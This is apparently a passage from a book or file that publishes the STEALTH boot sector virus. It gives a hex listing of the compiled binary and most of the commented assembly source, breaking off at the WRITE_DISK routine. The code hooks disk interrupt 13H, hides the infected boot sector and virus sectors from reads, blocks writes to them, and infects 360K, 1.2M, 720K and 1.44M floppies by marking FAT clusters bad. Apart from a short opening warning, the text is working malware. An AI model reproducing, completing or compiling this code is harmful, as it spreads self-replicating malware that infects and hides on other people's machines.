WARNING: The STEALTH virus is extremely contagious. Compile any of the following code at your own risk! If your system gets infected with STEALTH, I recommend that you take a floppy boot disk that you are certain is free from infection (borrow one from somebody else if you have to) and turn your computer on with it in your A: drive. Don’t boot off of your hard drive! Next, format your hard drive using your low level hard disk formatter (which should have come with your machine). Then run FDISK and FORMAT to restore your hard disk. Once you have a clean hard disk, format all floppy disks that may have been in your machine during the time it was infected. If there is any question about it, format it. This is the ONLY WAY you are going to get rid of the infection! In other words, unless you really know what you’re doing, you’re probably better off not trying to use this virus.
So the following listings are provided FOR INFORMA-
TION PURPOSES ONLY!
Here is the HEX listing for STEALTH:
:10000000E9FD7A0000000000000000000000000090
:10031000000000800200000000000000000000005B
:106F000000000000FB80FC02740A80FC0374212E48
:106F1000FF2E007080FE0075F680FD0075F180F98F
:106F200001742C80FA8075E780F90873E2E9110298
:106F300080FE0075DA80FD0075D580F9017503E9E2
:106F40000E0180FA8075C880F90873C3E9310280A8
:106F5000FA807308E842027403E85C02505351520D
:106F60001E06550E070E1F8BEC8AC2E8210573081A
:106F7000E81C057303E9BF00E842057403E9B700A4 :106F8000BB357A8A073C807502B004B303F6E3058B
:106F900041718BD88A2F8A77018A4F028A56068BD5
:106FA0005E0A8B46028EC0B801029CFF1E00708AEA
:106FB000460C3C01746C5D071F5A595B5881C30035
:106FC0000250FEC8FEC180FA8075345351525657A4
:106FD0001E55061FC607008BF38BFB47B400BB0092
:106FE00002F7E38BC849F3A4F89C588946145D1F47
:106FF0005F5E5A595B58B400FEC981EB0002CF9C1A
:107000002EFF1E007050558BEC9C5889460A720C5E
:1070100081EB0002FEC95D5858B400CF5D5883C4AF
:1070200002CF8B4612509DF89C588946125D071F6F
:107030005A595B58B400CF5D071F5A595B58E9CEC7
:10704000FE2701094F010F4F01094F0112000007F0
:10705000505351521E06558BEC0E1F0E078AC2E884
:107060002D047308E828047303E9CB00E84E047488
:1070700003E9C300BB357A8A073C807502B004B3CC
:1070800003F6E30541718BD88A2F8A77018A4F0274
:107090008A56068B5E0A8B46028EC0B801039CFF9F
:1070A0001E0070FB8A560680FA807533C606357C52
:1070B000805657BFBE7D8B760A81C6BE7D81EE00AD
:1070C0007C061F0E07B91400F3A50E1FB80103BB01
:1070D000007CB90100BA80009CFF1E00705F5E8AD0
:1070E000460C3C01743C8A560680FA8074345D0775
:1070F0001F5A595B5881C3000250FEC8FEC19C2E26
:10710000FF1E0070FB50558BEC9C5889460A720C90
:1071100081EB0002FEC95D5858B400CF5D5883C4AE
:1071200002CF8B4612509DF89C588946125D071F6E
:107130005A595B58B400CF5D071F5A595B58E9CEC6
:10714000FDE8550075375053515256571E558BEC7C
:1071500026C60700061F8BF38BFB47B400BB00025B
:10716000F7E38BC849F3A48B4614509DF89C5889CB
:1071700046145D1F5F5E5A595B58B400CFE98FFD1E
:10718000E8160075F855508BEC8B4608509DF99C1D
:107190005889460858B4045DCF505351521E060E0C
:1071A0001F0E078AC2E8E702730432C0EB03E80C43
:1071B00003071F5A595B58C39C5657505351521ED0
:1071C000060E070E1FFBBB137A8B1F8AC281FBD0F2
:1071D000027505E82B00EB1F81FB60097505E8A12E
:1071E00000EB1481FBA0057505E82001EB0981FB8C
:1071F000400B7503E89101071F5A595B585F5E9D6C
:10720000C38AD0B90300B600E810028BD87272BFEF
:10721000117A8B0525F0FF0B45020B450475628B37
:10722000050D70FFABB8F77FABB8FF00AB8BC3B9F0
:1072300003008AD3B600E8F00172468AD0B905008F
:10724000B600E8E40172F4E8450272358AD0B6016E
:10725000B90927E8D301722950BF037CBE037AB96C
:107260001900F3A5C606357C0058E839027212BB36
:1072700000708AD0B601B90427B805039CFF1E0030
:1072800070C38AD0B90800B600E88F018BD8727B32
:10729000BFDD7B8B050B45020B45040B45060B45FB
:1072A000087568B8F77FABB8FFF7ABB87FFFABB82E
:1072B000F77FABB8FF00AB8BC3B908008AD3B60029
:1072C000E8660172468AD0B90F00B600E85A01722A
:1072D000F4E8BB0172358AD0B601B90F4FE8490115 :1072E000722950BF037CBE037AB91900F3A5C60604
:1072F000357C0158E8AF017212BB00708AD0B6012C
:10730000B90A4FB805039CFF1E0070C38AD0B904A8
:1073100000B600E805018BD8726DBF2C7A8B050B87
:1073200045020B45047560B8F77FABB8FFF7ABB803
:107330000F00AB8BC3B904008AD3B600E8EA007231
:10734000468AD0B90700B600E8DE0072F4E83F01D3
:1073500072358AD0B601B9094FE8CD00722950BF05
:10736000037CBE037AB91900F3A5C606357C025822
:10737000E833017212BB00708AD0B601B9044FB86D
:1073800005039CFF1E0070C38AD0B90A00B600E84E
:1073900089008BD872F1BFA87A8B0525F0FF0B45C9
:1073A000020B45040B45060B4508756E268B05251B
:1073B0000F000570FFABB8F77FABB8FFF7ABB87F36
:1073C000FFABB8F70FAB8BC3B90A008AD3B600E89E
:1073D000570072468AD0B90100B601E84B0072F43A
:1073E000E8AC0072358AD0B601B9124FE83A0072A3
:1073F0002950BF037CBE037AB91900F3A5C6063530
:107400007C0358E8A0007212BB00708AD0B601B9A4
:107410000D4FB805039CFF1E0070C350BB007AB827
:1074200001029CFF1E007058C350BB007AB80103D4
:107430009CFF1E007058C3B080A2357CE85000BB92
:10744000007A508AD0B600B90700B801039CFF1E2D
:1074500000705850BF037CBE037AB91900F3A5BF72
:10746000BE7DBEBE7BB92100F3A558E83800BB0045
:10747000708AD0B600B90200B805039CFF1E0070E8
:10748000C31E33C08ED8BB75048A071F3C00C3508F
:10749000BB007A8AD0B600B500B101B001B4029C3D
:1074A000FF1E007058C350BB007C8AD0B600B500E8
:1074B000B101B001B4039CFF1E007058C35657FCC5
:1074C000BF367CBE367AB90F00F3A75F5EC30000FB
:107B0000EB349000000000000000000000000000C6
:107B3000000000000000FA33C08ED08ED88EC0BC8A
:107B4000007CFBB106A11304D3E02DE0078EC083B7
:107B50002E130404BE007C8BFEB90001F3A506B809
:107B6000647C50CB061F90BB0070A0357C3C007439
:107B7000153C0174173C0274193C03741BBA800055
:107B8000B500B102EB19B527B104EB10B54FB10A3E
:107B9000EB0AB54FB104EB04B54FB10DBA0001B813
:107BA0000602CD1372F933C08EC0BE007ABF007CCE
:107BB000B90001F3A5FA8CC88ED0BC00700E073353
:107BC000C08ED8BE4C00BF0070A5A5B80470BB4CD9
:107BD0000089078CC0894702FB0E1F803E357C80E0
:107BE0007412E89CF8740DB080E8A3F8E8CEF8743D
:107BF00003E843F8BEBE7DBFBF7DB93F00C60400A9
:107C0000F3A433C050B8007C50CB0000000000004B
:107CF000000000000000000000000000000055AA85
:00000001FF
Here is the assembly language listing for the STEALTH virus:
;The Stealth Virus is a boot sector virus which remains resident in memory
;after boot so it can infect disks. It hides itself on the disk and includes
;special anti-detection interrupt traps so that it is very difficult to ;locate. This is a very infective and crafty virus.
COMSEG SEGMENT PARA
ASSUME CS:COMSEG,DS:COMSEG,ES:COMSEG,SS:COMSEG ORG 100H
START: jmp BOOT_START
;*******************************************************************************
;* BIOS DATA AREA *
;*******************************************************************************
ORG 413H
MEMSIZE DW 640 ;size of memory installed, in KB
;*******************************************************************************
;* VIRUS CODE STARTS HERE *
;*******************************************************************************
ORG 7000H
STEALTH: ;A label for the beginning of the virus
;*******************************************************************************
;Format data consists of Track #, Head #, Sector # and Sector size code (2=512b)
;for every sector on the track. This is put at the very start of the virus so
;that when sectors are formatted, we will not run into a DMA boundary, which
;would cause the format to fail. This is a false error, but one that happens ;with some BIOS’s, so we avoid it by putting this data first.
;FMT_12M: ;Format data for Track 80, Head 1 on a 1.2 Meg diskette, ; DB 80,1,1,2, 80,1,2,2, 80,1,3,2, 80,1,4,2, 80,1,5,2, 80,1,6,2
;
;FMT_360: ;Format data for Track 40, Head 1 on a 360K diskette
; DB 40,1,1,2, 40,1,2,2, 40,1,3,2, 40,1,4,2, 40,1,5,2, 40,1,6,2
;*******************************************************************************
;* INTERRUPT 13H HANDLER *
;******************************************************************************* OLD_13H DD ? ;Old interrupt 13H vector goes here
INT_13H: sti cmp ah,2 ;we want to intercept reads jz READ_FUNCTION cmp ah,3 ;and writes to all disks jz WRITE_FUNCTION I13R: jmp DWORD PTR cs:[OLD_13H]
;*******************************************************************************
;This section of code handles all attempts to access the Disk BIOS Function 2, ;(Read). It checks for several key situations where it must jump into action. ;they are:
; 1) If an attempt is made to read the boot sector, it must be processed
; through READ_BOOT, so an infected boot sector is never seen. Instead, ; the original boot sector is read.
; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
; drive C are read, they are processed by READ_HARD, so the virus
; code is never seen on the hard drive.
; 3) If an attempt is made to read the boot sector on the floppy,
; this routine checks to see if the floppy has already been ; infected, and if not, it goes ahead and infects it.
READ_FUNCTION: ;Disk Read Function Handler cmp dh,0 ;is it head 0?
jnz I13R ;nope, let BIOS handle it cmp ch,0 ;is it track 0?
jnz I13R ;no, let BIOS handle it cmp cl,1 ;track 0, is it sector 1 jz READ_BOOT ;yes, go handle boot sector read cmp dl,80H ;no, is it hard drive c:? jnz I13R ;no, let BIOS handle it cmp cl,8 ;sector < 8?
jnc I13R ;nope, let BIOS handle it jmp READ_HARD ;yes, divert read on the C drive
;*******************************************************************************
;This section of code handles all attempts to access the Disk BIOS Function 3, ;(Write). It checks for two key situations where it must jump into action. They ;are:
; 1) If an attempt is made to write the boot sector, it must be processed ; through WRITE_BOOT, so an infected boot sector is never overwritten.
; instead, the write is redirected to where the original boot sector is ; hidden.
; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
; drive C are written, they are processed by WRITE_HARD, so the virus ; code is never overwritten.
WRITE_FUNCTION: ;BIOS Disk Write Function cmp dh,0 ;is it head 0?
jnz I13R ;nope, let BIOS handle it cmp ch,0 ;is it track 0? jnz I13R ;nope, let BIOS handle it cmp cl,1 ;is it sector 1 jnz WF1 ;nope, check for hard drive jmp WRITE_BOOT ;yes, go handle boot sector read WF1: cmp dl,80H ;is it the hard drive c: ? jnz I13R ;no, another hard drive cmp cl,8 ;sector < 8?
jnc I13R ;nope, let BIOS handle it jmp WRITE_HARD ;else take care of writing to C:
;*******************************************************************************
;This section of code handles reading the boot sector. There are three
;possibilities: 1) The disk is not infected, in which case the read should be
;passed directly to BIOS, 2) The disk is infected and only one sector is
;requested, in which case this routine figures out where the original boot
;sector is and reads it, and 3) The disk is infected and more than one sector
;is requested, in which case this routine breaks the read up into two calls to
;the ROM BIOS, one to fetch the original boot sector, and another to fetch the
;additional sectors being read. One of the complexities in this last case is
;that the routine must return the registers set up as if only one read had ;been performed.
; To determine if the disk is infected, the routine reads the real boot sector
;into SCRATCHBUF and calls IS_VBS. If that returns affirmative (z set), then
;this routine goes to get the original boot sector, etc., otherwise it calls ROM
;BIOS and allows a second read to take place to get the boot sector into the ;requested buffer at es:bx.
READ_BOOT:
cmp dl,80H ;check if we must infect first jnc RDBOOT ;don’t need to infect hard dsk call CHECK_DISK ;is floppy already infected? jz RDBOOT ;yes, go do read call INFECT_FLOPPY ;no, go infect the diskette RDBOOT: push ax ;now perform a redirected read push bx ;save registers push cx
push dx push ds push es push bp
push cs ;set ds=es=cs pop es push cs pop ds
mov bp,sp ;and bp=sp
RB001: mov al,dl call GET_BOOT_SEC ;read the real boot sector jnc RB01 ;ok, go on call GET_BOOT_SEC ;do it again to make sure jnc RB01 ;ok, go on
jmp RB_GOON ;error, let BIOS return err code RB01: call IS_VBS ;is it the viral boot sector? jz RB02 ;yes, jump
jmp RB_GOON ;no, let ROM BIOS read sector RB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START) mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86
mov al,BYTE PTR [bx] ;get disk type of disk being cmp al,80H ;read, and make an index of it jnz RB1 mov al,4 RB1: mov bl,3 ;to look up location of boot sec mul bl add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@BOOT_SECTOR_LOCATION table mov bx,ax mov ch,[bx] ;get track of orig boot sector mov dh,[bx+1] ;get head of orig boot sector mov cl,[bx+2] ;get sector of orig boot sector mov dl,ss:[bp+6] ;get drive from original spec mov bx,ss:[bp+10] ;get read buffer offset mov ax,ss:[bp+2] ;and segment mov es,ax ;from original specification mov ax,201H ;prepare to read 1 sector pushf call DWORD PTR [OLD_13H] ;do BIOS int 13H mov al,ss:[bp+12] ;see if original request cmp al,1 ;was for more than one sector jz RB_EXIT ;no, go exit
READ_1NEXT: ;more than 1 sec requested, so pop bp ;read the rest as a second call pop es ;to BIOS pop ds pop dx ;first restore these registers pop cx pop bx pop ax
add bx,512 ;prepare to call BIOS for push ax ;balance of read dec al ;get registers straight for it inc cl
cmp dl,80H ;is it the hard drive? jnz RB15 ;nope, go handle floppy
push bx ;handle an infected hard drive push cx ;by faking read on extra sectors push dx ;and returning a block of 0’s push si push di push ds push bp
push es pop ds ;ds=es mov BYTE PTR [bx],0 ;set first byte in buffer = 0 mov si,bx mov di,bx inc di mov ah,0 ;ax=number of sectors to read mov bx,512 ;bytes per sector mul bx ;# of bytes to read in dx:ax<64K mov cx,ax dec cx ;number of bytes to move in cx rep movsb ;fill buffer with 0’s
clc ;clear c, fake read successful pushf ;then restore everyting properly pop ax ;first set flag register mov ss:[bp+20],ax ;as stored on the stack pop bp ;and pop all registers pop ds pop di pop si pop dx pop cx pop bx pop ax mov ah,0 dec cl sub bx,512
iret ;and get out
RB15: ;read next sectors on floppy pushf ;call BIOS to call DWORD PTR cs:[OLD_13H] ;read the rest (must use cs) push ax push bp mov bp,sp pushf ;use c flag from BIOS call pop ax ;to set c flag on the stack mov ss:[bp+10],ax jc RB2 ;if error, return ah from 2nd rd sub bx,512 ;else restore registers so dec cl ;it looks as if only one read pop bp ;was performed pop ax pop ax ;and exit with ah=0 to indicate mov ah,0 ;successful read iret
RB2: pop bp ;error on 2nd read pop ax ;so clean up stack add sp,2 ;and get out iret
RB_EXIT: ;exit from single sector read mov ax,ss:[bp+18] ;set the c flag on the stack push ax ;to indicate successful read popf clc pushf pop ax mov ss:[bp+18],ax pop bp ;restore all registers pop es pop ds pop dx pop cx pop bx pop ax mov ah,0
iret ;and get out
RB_GOON: ;This passes control to BIOS pop bp ;for uninfected disks
pop es ;just restore all registers to pop ds ;their original values pop dx pop cx pop bx pop ax jmp I13R ;and go jump to BIOS
;*******************************************************************************
;This table identifies where the original boot sector is located for each
;of the various disk types. It is used by READ_BOOT and WRITE_BOOT to redirect ;boot sector reads and writes.
BOOT_SECTOR_LOCATION:
DB 39,1,9 ;Track, head, sector, 360K drive
DB 79,1,15 ;1.2M drive
DB 79,1,9 ;720K drive
DB 79,1,18 ;1.44M drive
DB 0,0,7 ;Hard drive
;*******************************************************************************
;This routine handles writing the boot sector for all disks. It checks to see ;if the disk has been infected, and if not, allows BIOS to handle the write.
;If the disk is infected, this routine redirects the write to put the boot
;sector being written in the reserved area for the original boot sector. It ;must also handle the writing of multiple sectors properly, just as READ_BOOT ;did.
WRITE_BOOT: push ax ;save everything we might change push bx push cx push dx push ds push es push bp mov bp,sp
push cs ;ds=es=cs pop ds push cs pop es
mov al,dl call GET_BOOT_SEC ;read the real boot sector jnc WB01 call GET_BOOT_SEC ;do it again if first failed jnc WB01
jmp WB_GOON ;error on read, let BIOS take it WB01: call IS_VBS ;else, is disk infected? jz WB02 ;yes
jmp WB_GOON ;no, let ROM BIOS write sector WB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START) mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86
mov al,BYTE PTR [bx] cmp al,80H ;infected, so redirect the write jnz WB1
mov al,4 ;make an index of the drive type WB1: mov bl,3 mul bl add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@table entry mov bx,ax
mov ch,[bx] ;get the location of original mov dh,[bx+1] ;boot sector on disk mov cl,[bx+2] ;prepare for the write mov dl,ss:[bp+6] mov bx,ss:[bp+10] mov ax,ss:[bp+2] mov es,ax
mov ax,301H pushf call DWORD PTR [OLD_13H] ;and do it sti mov dl,ss:[bp+6] cmp dl,80H ;was write going to hard drive? jnz WB_15 ;no mov BYTE PTR [DR_FLAG],80H ;yes, update partition info push si push di mov di,OFFSET PART ;just move it from sec we just mov si,ss:[bp+10] ;wrote into the viral boot sec add si,OFFSET PART sub si,OFFSET BOOT_START push es pop ds push cs pop es ;switch ds and es around mov cx,20
rep movsw ;and do the move push cs pop ds mov ax,301H mov bx,OFFSET BOOT_START mov cx,1 ;Track 0, Sector 1 mov dx,80H ;drive 80H, Head 0 pushf ;go write updated viral boot sec call DWORD PTR [OLD_13H] ;with new partition info pop di ;clean up pop si
WB_15: mov al,ss:[bp+12] cmp al,1 ;was write more than 1 sector? jz WB_EXIT ;if not, then exit
WRITE_1NEXT: ;more than 1 sector mov dl,ss:[bp+6] ;see if it’s the hard drive cmp dl,80H jz WB_EXIT ;if so, ignore rest of the write pop bp ;floppy drive, go write the rest pop es ;as a second call to BIOS pop ds pop dx pop cx ;restore all registers pop bx pop ax add bx,512 ;and modify a few to push ax ;drop writing the first sector dec al inc cl pushf call DWORD PTR cs:[OLD_13H] ;go write the rest sti push ax push bp mov bp,sp pushf ;use c flag from call pop ax ;to set c flag on the stack mov ss:[bp+10],ax jc WB2 ;an error ;so exit with ah from 2nd int 13 sub bx,512 dec cl pop bp pop ax
pop ax ;else exit with ah=0 mov ah,0 ;to indicate success iret
WB2: pop bp ;exit with ah from 2nd pop ax ;interrupt add sp,2
iret
WB_EXIT: ;exit after 1st write mov ax,ss:[bp+18] ;set carry on stack to indicate push ax ;a successful write operation popf clc pushf pop ax mov ss:[bp+18],ax pop bp ;restore all registers and exit pop es pop ds pop dx pop cx pop bx pop ax mov ah,0 iret
WB_GOON: ;pass control to ROM BIOS pop bp ;just restore all registers pop es pop ds pop dx pop cx pop bx pop ax jmp I13R ;and go do it
;*******************************************************************************
;Read hard disk sectors on Track 0, Head 0, Sec > 1. If the disk is infected,
;then instead of reading the true data there, return a block of 0’s, since
;0 is the data stored in a freshly formatted but unused sector. This will ;fake the caller out and keep him from knowing that the virus is hiding there.
;If the disk is not infected, return the true data stored in those sectors.
READ_HARD: call CHECK_DISK ;see if disk is infected jnz RWH_EX ;no, let BIOS handle the read push ax ;else save registers push bx push cx push dx push si push di push ds push bp mov bp,sp mov BYTE PTR es:[bx],0 ;zero the first byte in the blk push es pop ds mov si,bx ;set up es:di and ds:si mov di,bx ;for a transfer inc di mov ah,0 ;ax=number of sectors to read mov bx,512 ;bytes per sector mul bx ;number of bytes to read in ax mov cx,ax dec cx ;number of bytes to move rep movsb ;do fake read of all 0’s
mov ax,ss:[bp+20] ;now set c flag push ax ;to indicate succesful read popf clc pushf pop ax mov ss:[bp+20],ax
pop bp ;restore everything and exit pop ds pop di pop si pop dx pop cx pop bx pop ax mov ah,0 ;set to indicate successful read iret RWH_EX: jmp I13R ;pass control to BIOS
;*******************************************************************************
;Handle writes to hard disk Track 0, Head 0, 1<Sec<8. We must stop the write if
;the disk is infected. Instead, fake the return of an error by setting carry ;and returning ah=4 (sector not found).
WRITE_HARD:
call CHECK_DISK ;see if the disk is infected jnz RWH_EX ;no, let BIOS handle it all push bp ;yes, infected, so . . .
push ax mov bp,sp mov ax,ss:[bp+8] ;get flags off of stack push ax popf ;put them in current flags stc ;set the carry flag pushf pop ax mov ss:[bp+8],ax ;and put flags back on stack pop ax mov ah,4 ;set up sector not found error pop bp iret ;and get out of ISR
;*******************************************************************************
;See if disk dl is infected already. If so, return with Z set. This
;does not assume that registers have been saved, and saves/restores everything ;but the flags.
CHECK_DISK: push ax ;save everything push bx push cx push dx push ds push es push cs pop ds push cs pop es mov al,dl
call GET_BOOT_SEC ;read the boot sector jnc CD1 xor al,al ;act as if infected jmp SHORT CD2 ;in the event of an error CD1: call IS_VBS ;see if viral boot sec (set z) CD2: pop es ;restore everything pop ds ;except the z flag pop dx pop cx pop bx pop ax ret
;*******************************************************************************
;This routine determines from the boot sector parameters what kind of floppy
;disk is in the drive being accessed, and calls the proper infection routine
;to infect the drive. It has no safeguards to prevent infecting an already
;infected disk. the routine CHECK_DISK must be called first to make sure you
;want to infect before you go and do it. This restores all registers to their ;initial state.
INFECT_FLOPPY: pushf ;save everything push si push di push ax push bx push cx push dx push ds push es push cs pop es push cs pop ds sti mov bx,OFFSET SCRATCHBUF + 13H ;@ of sec cnt in boot sector mov bx,[bx] ;get sector count for this disk mov al,dl cmp bx,720 ;is it 360K? (720 sectors) jnz IF_1 ;no, try another possibility call INFECT_360K ;yes, infect it jmp SHORT IF_R ;and get out IF_1: cmp bx,2400 ;is it 1.2M? (2400 sectors) jnz IF_2 ;no, try another possibility call INFECT_12M ;yes, infect it jmp SHORT IF_R ;and get out IF_2: cmp bx,1440 ;is it 720K 3 1/2"? (1440 secs) jnz IF_3 ;no, try another possibility call INFECT_720K ;yes, infect it jmp SHORT IF_R ;and get out IF_3: cmp bx,2880 ;is it 1.44M 3 1/2"? (2880 secs) jnz IF_R ;no - don’t infect this disk call INFECT_144M ;yes - infect it IF_R: pop es ;restore everyting and return pop ds pop dx pop cx pop bx pop ax pop di pop si popf ret
;*******************************************************************************
;Infect a 360 Kilobyte drive. This is done by formatting Track 40, Head 0,
;Sectors 1 to 6, putting the present boot sector in Sector 6 with the virus
;code in sectors 1 through 5, and then replacing the boot sector on the disk ;with the viral boot sector.
INFECT_360K: mov dl,al ;read the FAT from mov cx,3 ;track 0, sector 3, head 0 mov dh,0 call READ_DISK mov bx,ax jc INF360_EXIT
mov di,OFFSET SCRATCHBUF + 11H ;modify the FAT in RAM mov ax,[di] ;make sure nothing is stored and ax,0FFF0H or ax,[di+2] ;if it is, abort infect... or ax,[di+4] ;don’t wipe out any data jnz INF360_EXIT ;if so, abort infection mov ax,[di]
or ax,0FF70H stosw mov ax,07FF7H ;marking the last 6 clusters stosw ;as bad mov ax,00FFH stosw
mov ax,bx ;write the FAT back to disk mov cx,3 ;at track 0, sector 3, head 0 mov dl,bl mov dh,0 call WRITE_DISK ;write the FAT back to disk jc INF360_EXIT INF360_RETRY: mov dl,al ;write the 2nd FAT too, mov cx,5 ;at track 0, sector 5, head 0 mov dh,0 call WRITE_DISK
jc INF360_RETRY ;must retry, since 1st fat done
call GET_BOOT_SEC ;read the boot sector in jc INF360_EXIT
mov dl,al ;write the orig boot sector at mov dh,1 ;head 1 mov cx,2709H ;track 39, sector 9 call WRITE_DISK jc INF360_EXIT
push ax mov di,OFFSET BOOT_DATA ; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START) mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over rep movsw ;to new boot sector mov BYTE PTR [DR_FLAG],0 ;set proper diskette type pop ax
call PUT_BOOT_SEC ;go write it to disk jc INF360_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth mov dl,al ;drive to write to mov dh,1 ;head 1 mov cx,2704H ;track 39, sector 4 mov ax,0305H ;write 5 sectors pushf
call DWORD PTR [OLD_13H] ;(int 13H) INF360_EXIT: ret ;all done
;*******************************************************************************
;Infect 1.2 megabyte Floppy Disk Drive AL with this virus. This is essentially ;the same as the 360K case.
INFECT_12M: mov dl,al ;read the FAT from mov cx,8 ;track 0, sector 8, head 0 mov dh,0 call READ_DISK mov bx,ax jc INF12M_EXIT
mov di,OFFSET SCRATCHBUF + 1DDH ;modify the FAT in RAM mov ax,[di] ;make sure nothing is stored or ax,[di+2] ;if it is, abort infect... or ax,[di+4] ;don’t wipe out any data or ax,[di+6] or ax,[di+8] jnz INF12M_EXIT ;if so, abort infection
mov ax,07FF7H stosw mov ax,0F7FFH ;marking the last 6 clusters stosw ;as bad mov ax,0FF7FH stosw mov ax,07FF7H stosw mov ax,000FFH stosw
mov ax,bx ;write the FAT back to disk mov cx,8 ;at track 0, sector 8, head 0 mov dl,bl mov dh,0 call WRITE_DISK ;write the FAT back to disk jc INF12M_EXIT INF12M_RETRY: mov dl,al ;write the 2nd FAT too, mov cx,0FH ;at track 0, sector 15, head 0 mov dh,0 call WRITE_DISK jc INF12M_RETRY ;must retry, since 1st fat done
call GET_BOOT_SEC ;read the boot sector in jc INF12M_EXIT
mov dl,al ;write the orig boot sector at mov dh,1 ;head 1 mov cx,4F0FH ;track 79, sector 15 call WRITE_DISK jc INF12M_EXIT
push ax mov di,OFFSET BOOT_DATA ; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START) mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over rep movsw ;to new boot sector mov BYTE PTR [DR_FLAG],1 ;set proper diskette type pop ax
call PUT_BOOT_SEC ;go write it to disk jc INF12M_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth mov dl,al ;drive to write to mov dh,1 ;head 1 mov cx,4F0AH ;track 79, sector 10 mov ax,0305H ;write 5 sectors pushf
call DWORD PTR [OLD_13H] ;(int 13H) INF12M_EXIT: ret ;all done
;*******************************************************************************
;Infect a 3 1/2" 720K drive. This process is a little different than for 5 1/4"
;drives. The virus goes in an existing data area on the disk, so no formatting
;is required. Instead, we 1) Mark the diskette’s FAT to indicate that the last
;three clusters are bad, so that DOS will not attempt to overwrite the virus
;code. 2) Read the boot sector and put it at Track 79, Head 1 sector 9, 3) Put
;the five sectors of stealth routines at Track 79, Head 1, sector 4-8, 4) Put ;the viral boot sector at Track 0, Head 0, Sector 1.
INFECT_720K: mov dl,al ;read the FAT from mov cx,4 ;track 0, sector 4, head 0 mov dh,0 call READ_DISK mov bx,ax jc INF720_EXIT
mov di,OFFSET SCRATCHBUF + 44 ;modify the FAT in RAM mov ax,[di] ;make sure nothing is stored or ax,[di+2] ;if it is, abort infect... or ax,[di+4] ;don’t wipe out any data jnz INF720_EXIT ;if so, abort infection
mov ax,07FF7H stosw mov ax,0F7FFH ;marking the last 6 clusters stosw ;as bad mov ax,0000FH stosw
mov ax,bx ;write the FAT back to disk mov cx,4 ;at track 0, sector 4, head 0 mov dl,bl mov dh,0 call WRITE_DISK ;write the FAT back to disk jc INF720_EXIT INF720_RETRY: mov dl,al ;write the 2nd FAT too, mov cx,7 ;at track 0, sector 7, head 0 mov dh,0 call WRITE_DISK jc INF720_RETRY ;must retry, since 1st fat done
call GET_BOOT_SEC ;read the boot sector in jc INF720_EXIT
mov dl,al ;write the orig boot sector at mov dh,1 ;head 1 mov cx,4F09H ;track 79, sector 9 call WRITE_DISK jc INF720_EXIT
push ax mov di,OFFSET BOOT_DATA ; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START) mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over rep movsw ;to new boot sector mov BYTE PTR [DR_FLAG],2 ;set proper diskette type pop ax
call PUT_BOOT_SEC ;go write it to disk jc INF720_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth mov dl,al ;drive to write to mov dh,1 ;head 1 mov cx,4F04H ;track 79, sector 4 mov ax,0305H ;write 5 sectors pushf
call DWORD PTR [OLD_13H] ;(int 13H) INF720_EXIT: ret ;all done
;*******************************************************************************
;This routine infects a 1.44 megabyte 3 1/2" diskette. It is essentially the
;same as infecting a 720K diskette, except that the virus is placed in sectors ;13-17 on Track 79, Head 0, and the original boot sector is placed in Sector 18.
INFECT_144M: mov dl,al ;read the FAT from mov cx,0AH ;track 0, sector 10, head 0 mov dh,0 call READ_DISK mov bx,ax jc INF720_EXIT
mov di,OFFSET SCRATCHBUF + 0A8H ;modify the FAT in RAM mov ax,[di] ;make sure nothing is stored and ax,0FFF0H ;in any of these clusters or ax,[di+2] ;if it is, abort infect... or ax,[di+4] ;don’t wipe out any data or ax,[di+6] or ax,[di+8] jnz INF144M_EXIT ;if so, abort infection
mov ax,es:[di] and ax,000FH add ax,0FF70H stosw mov ax,07FF7H ;marking the last 6 clusters stosw ;as bad mov ax,0F7FFH stosw mov ax,0FF7FH stosw mov ax,0FF7H stosw
mov ax,bx ;write the FAT back to disk mov cx,0AH ;at track 0, sector 10, head 0 mov dl,bl mov dh,0 call WRITE_DISK ;write the FAT back to disk jc INF144M_EXIT INF144M_RETRY: mov dl,al ;write the 2nd FAT too, mov cx,1 ;at track 0, sector 1, head 1 mov dh,1 call WRITE_DISK jc INF144M_RETRY ;must retry, since 1st fat done
call GET_BOOT_SEC ;read the boot sector in jc INF144M_EXIT
mov dl,al ;write the orig boot sector at mov dh,1 ;head 1 mov cx,4F12H ;track 79, sector 18 call WRITE_DISK jc INF144M_EXIT
push ax mov di,OFFSET BOOT_DATA ; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START) mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over rep movsw ;to new boot sector mov BYTE PTR [DR_FLAG],3 ;set proper diskette type pop ax
call PUT_BOOT_SEC ;go write it to disk jc INF144M_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth mov dl,al ;drive to write to mov dh,1 ;head 1 mov cx,4F0DH ;track 79, sector 13 mov ax,0305H ;write 5 sectors pushf
call DWORD PTR [OLD_13H] ;(int 13H) INF144M_EXIT: ret ;all done
;Read one sector into SCRATCHBUF from the location specified in dx,cx. Preserve ;ax, and return c set properly. Assumes es set up properly. READ_DISK:
push ax mov bx,OFFSET SCRATCHBUF mov ax,0201H pushf call DWORD PTR [OLD_13H] pop ax ret
;Write one sector from SCRATCHBUF into the location specified in dx,cx. Preserve ;ax, and return c set properly. WRITE_DISK:
